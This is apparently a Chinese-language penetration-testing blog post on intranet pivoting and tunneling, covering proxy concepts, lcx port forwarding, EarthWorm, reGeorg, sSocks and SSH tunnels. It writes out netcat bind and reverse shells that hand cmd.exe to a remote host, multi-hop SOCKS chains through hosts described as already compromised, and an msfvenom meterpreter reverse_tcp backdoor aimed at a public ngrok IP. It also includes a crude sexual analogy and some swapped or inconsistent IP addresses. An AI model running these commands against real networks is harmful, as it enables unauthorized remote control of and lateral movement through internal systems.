内网端口转发及穿透

最近尝试了一些内网端口的转发和内网穿透,现在一起总结一下。

0x01 正向和反向代理

正向代理中,proxy和client同属一个LAN,对server透明; 反向代理中,proxy和server同属一个LAN,对client透明。 实际上proxy在两种代理中做的事都是代为收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后者叫做反向代理。

正向代理(Forward Proxy)

Lhost--》proxy--》Rhost

Lhost为了访问到Rhost,向proxy发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。

反向代理(reverse proxy)

Lhost<--->proxy<--->firewall<--->Rhost

和正向代理相反(废话),Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透

简单区分

正向代理代理的是客户端,反向代理代理的是服务端,正向代理是我们自己(Lhost)戴套(proxy)插进去,反向代理是她(Rhost)主动通过上位(proxy)坐上来(Lhost)。

0x02 lcx转发

内网IP:192.168.153.138
公网ip:192.168.153.140
由于是本地实验,我这里将138的防火墙打开,当作内网环境,140防火墙关闭,充当公网ip,所以正常情况下138能访问140,而140不能直接访问138。这是两台机器互相ping的结果。

1.内网机器上执行:lcx.exe –slave 公网IP +端口 内网IP +端口

lcx.exe –slave 192.168.153.140 4444 192.168.153.138 3389

将内网(192.168.153.138)的3389端口转发到公网(192.168.153.138)的4444端口
2.公网(192.168.153.138)执行:lcx -listen 4444 5555

监听公网4444端口请求,并将4444的请求传送给5555端口。
此时已经把内网的3389端口转发到了公网的5555端口。可以通过127.0.0.1:5555连接到内网的远程桌面。

0x03 nc反弹

正向连接

在内网执行

nc -l -p 5555 -t -e cmd.exe

-t是通过telne模式执行 cmd.exe 程序,可以省略。
在公网执行

nc -nvv 192.168.153.138 5555

反向连接

在公网监听nc -lp 5555

在内网机器反弹nc -t -e cmd 192.168.153.140 5555

0x04 socks代理工具

常见的socks代理工具介绍如下
1.Earthworm 工具网址:http://rootkiter.com/EarthWorm

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。

目前已经有了最新版Termite,工具网址:http://rootkiter.com/Termite/

2.reGeorg 工具网址:https://github.com/NoneNotNull/reGeorg

reGeorg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。

3.sSocks 工具网址:http://sourceforge.net/projects/ssocks/

sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.14。

4.SocksCap64 工具网址:http://www.sockscap64.com (需翻墙)

SocksCap64是一款在windows下相当好使的全局代理软件。SocksCap64可以使Windows应用程序通过SOCKS代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持SOCKS代理的应用程序通过SocksCap64之后都可以完美的实现代理访问。

5.proxychains 工具网址:http://proxychains.sourceforge.net/

Proxychains是一款在LINUX下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許TCP和DNS通過代理隧道,支持HTTP、SOCKS4、SOCKS5類型的代理服务器,支持proxy chain,即可配置多个代理,同一個proxy chain可使用不同类型的代理服务器

0x04.0 ssocks

linux版
安装

wget https://phoenixnap.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz
tar -zxf ssocks-0.0.14.tar.gz
cd ssocks-0.0.14
./configure && make
cd src

先在本地机器上执行,一般都是你自己的vps:

./rcsocks -l 1080 -p 1234 -v

目标机器上执行,实际渗透情况中加上 -b后台运行

./rssocks -s  192.168.1.100(vps的ip):1234 -v

然后通过本地各种socks代理工具配置代理即可,socks5 192.168.1.100 1080

win版本同理

0x04.1 reGeorg+Proxychains代理

上传reGeorg的tunnel.jsp到服务器。访问链接,并转发到本地端口。

python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp

使用设置proxychains的代理端口,进行访问,一般配合nmap和metasploit进行后续内网渗透。ps:proxychains不支持udp和icmp协议,所以使用nmap要加上-sT -Pn即使用tcp协议且不使用icmp协议。

0x04.2 ew穿透

该工具借用了 ssocks 和 lcx.exe 的操作逻辑,并进行更多的功能强化。

说明

目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:

    ssocksd   rcsocks   rssocks   
    lcx_slave lcx_tran  lcx_listen

    其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。

    其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。

lcx 类别管道:

    lcx_slave  该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
    lcx_tran   该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
    lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。

    通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。

    下面是一个三级跳的本地测试例子。。。
    ./ew -s rcsocks -l 1080 -e 8888
    ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    ./ew -s lcx_listen -l 9999 -e 7777
    ./ew -s rssocks -d 127.0.0.1 -e 7777

    数据流向为   IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
0x04.2.1 正向SOCKS5服务器

当目标网络边界存在公网IP且可任意开监听端口

ew_for_Win.exe -s ssocksd -l 8888

上述命令是在该机器(192.168.153.140)开启一个8888的正向连接端口。然后其它主机可通过设置代理为 192.168.153.140:8888添加这个代理。这里使用的是proxychains

0x04.2.2 反弹SOCKS5服务器

当目标网络边界不存在公网IP,通过反弹方式创建socks代理。
先在一台具有公网 ip 的主机A上运行以下命令

./ew_for_linux64 -s rcsocks -l 1080 -e 8888

意思是在我们公网VPS上添加一个转接隧道,把1080端口收到的代理请求转交给8888端口

在目标主机B上启动SOCKS5服务 并反弹到公网主机的8888端口

ew_for_Win.exe -s rssocks -d 192.168.153.129 -e 8888

本地主机(192.168.153.129)然后通过添加公网192.168.153.129:1080这个代理,来访问内网机器(192.168.153.129)
当然如果本地主机如果是公网ip,就可以把在公网执行的步骤放在本地执行即可。

0x04.2.3 二级网络环境(一)

假设我们获得了右侧A主机和B主机的控制权限,A主机配有2块网卡,一块10.129.72.168连通外网,一块192.168.153.140只能连接内网B主机,无法访问内网其它资源。B主机可以访问内网资源,但无法访问外网。

先上传ew到B主机,利用ssocksd方式启动8888端口的SOCKS代理,命令如下

ew_for_Win.exe -s ssocksd -l 8888

然后在A主机执行

ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888

含义是将1080端口收到的代理请求转交给B主机(192.168.153.138)的8888端口
然后My pc就可以通过A的外网代理10.129.72.168:1080访问B。

0x04.2.4 二级网络环境(二)

假设我们获得了右侧A主机和B主机的控制权限,A主机没有公网IP,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。

这次操作有四步。

  1. 在公网vps(45.xxx.xxx.72)添加转接隧道,将10800端口收到的代理请求转交给8888端口

    ./ew_for_linux64 -s lcx_listen -l 10800 -e 8888

2.B(192.168.153.138)主机正向开启8888端口

ew_for_Win.exe -s ssocksd -l 9999

3.A主机利用lcx_slave方式,将公网VPS的888端口和B主机的999端口连接起来

ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f 192.168.153.138 -g 9999

现在my pc可通过访问45.xxx.xxx.72:10800来使用192.168.153.138主机提供的socks5代理,代理成功,vps会有rssocks cmd_socket OK!提示

0x05 ssh隧道代理转发

ssh有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发。

本地访问127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port1:127.0.0.1:port2 user@host    #本地转发

访问host:port2就是访问127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host    #远程转发

可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip   #正向隧道,监听本地port

可以将dmz_host的hostport端口转发到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip   #反向隧道,用于内网穿透防火墙限制之类

socket代理:
ssh -qTfnN -D port remotehost

参数详解:
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它了
-L port:host:hostport 
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-R port:host:hostport 
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-D port 
指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS协议, 将充当SOCKS服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

0x05.1 ssh本地转发

远程管理服务器上的mysql,mysql不能直接root远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到本地1234端口

ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121

0x05.2 ssh远程转发

内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就访问到了内网的端口。

ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142

现在在192.168.153.142访问127.0.0.1:81就是访问内网的服务器的80端口。

0x05.2 ssh动态转发socks代理

把远程主机设置成代理,来代理访问不能访问的资源。在地机器上分配了一个监听端口, 一旦这个端口上有了连接,该连接就经过ssh隧道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接。

ssh -qTfnN -D 1080  root@45.32.31.121

0x06 内网穿透平台

例如https://www.ngrok.cc/、https://natapp.cn/等
以ngrok为例,注册并开通隧道

下载对应的客户端,下载地址为:https://www.ngrok.cc/#down-client
运行

生成backdoor。监听的IP为server.ngrok.cc的ip,端口为开通隧道时填写的远程端口

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56  LPORT=52524 -f exe > shell.exe

kali上执行

0x07 参考

  1. SSH隧道与端口转发及内网穿透
  2. SSH的端口转发
  3. 内网渗透随想
  4. 从零开始内网渗透学习
  5. 内网渗透中转发工具总结
  6. MS17-010漏洞检测与内网穿透技术的应用
  7. 内网漫游之SOCKS代理大结局
  8. 正向代理和反向代理的区别